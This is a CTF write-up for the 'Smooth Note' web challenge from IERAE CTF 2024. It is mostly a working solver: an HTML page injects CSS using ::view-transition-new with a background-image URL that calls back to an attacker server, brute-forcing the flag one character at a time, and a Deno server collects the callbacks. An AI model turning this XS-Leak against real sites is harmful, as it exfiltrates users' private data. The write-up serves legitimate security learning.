README.md

Smooth Note - IERAE CTF 2024

• CTFtime: https://ctftime.org/event/2441/

Challenge

You can download challenge files from: smooth-note.tar.gz

Solution

Summary

• New CSS property view-transition-name based XS-Leaks

Solver

• server.ts
• search.html

search.html

<form method="post">
  <input name="style" />
</form>

<script>
  const serverHost = window.origin
  const targetHost = "http://web:3000"

  const sleep = async (time) =>
    new Promise((resolve) => setTimeout(resolve, time));

  const defaultChars = "abcdefghijklmnopqrstuvwxyz".split("");
  const search = async (prefix, chars = defaultChars) => {
    for (let char of chars) {
      const search = `${prefix}${char}`;
      const winName = `win${search}`;
      const win = window.open(
        `${targetHost}/?search=${encodeURIComponent(
          search
        )}`,
        winName,
        "width=500,height=500"
      );

      await sleep(200);

      const form = document.querySelector("form");
      form.action = `${targetHost}/create`;
      form.target = winName;
      document.querySelector("input").value = `
        ::view-transition-new(site-title) {
          animation-duration: 500s;
          background-image: url(${serverHost}/add?q=${char});
        }
      `;
      form.submit();

      setTimeout(() => {
        win.close();
      }, 1000);
    }

    await sleep(1000);

    const notFounds = await (await fetch("/finish")).json();
    const flagChars = chars.filter((c) => !notFounds.includes(c));
    if (flagChars.length === 1) {
      prefix = prefix + flagChars[0];
      fetch(`/flag=${prefix}`);
      search(prefix);
    } else if (flagChars.length > 1) {
      // something wrong. search again with flagChars
      search(prefix, flagChars);
    } else {
      // finish
      console.log(`flag found: ${prefix}`)
    }
  };
  search("IERAE{");
</script>

server.ts

// $ deno run --allow-net --allow-read server.ts

import { serveFile } from 'https://deno.land/[email protected]/http/file_server.ts'

const notFounds = new Set<string>()

function finish() {
  const body = JSON.stringify([...notFounds.values()])
  notFounds.clear()
  return new Response(body, { headers: { 'content-type': 'application/json' } })
}

function add(query: string) {
  notFounds.add(query)
  return new Response("ok")
}

async function handler(request: Request): Promise<Response> {
  const url = new URL(request.url)
  console.log(url.toString())
  switch (url.pathname) {
    case '/finish':
      return finish()
    case '/add':
      {
        const q = url.searchParams.get('q') || ''
        return add(q)
      }
    default:
      return await serveFile(request, 'search.html')
  }
}

Deno.serve({ port: 3001, hostname: "0.0.0.0", handler })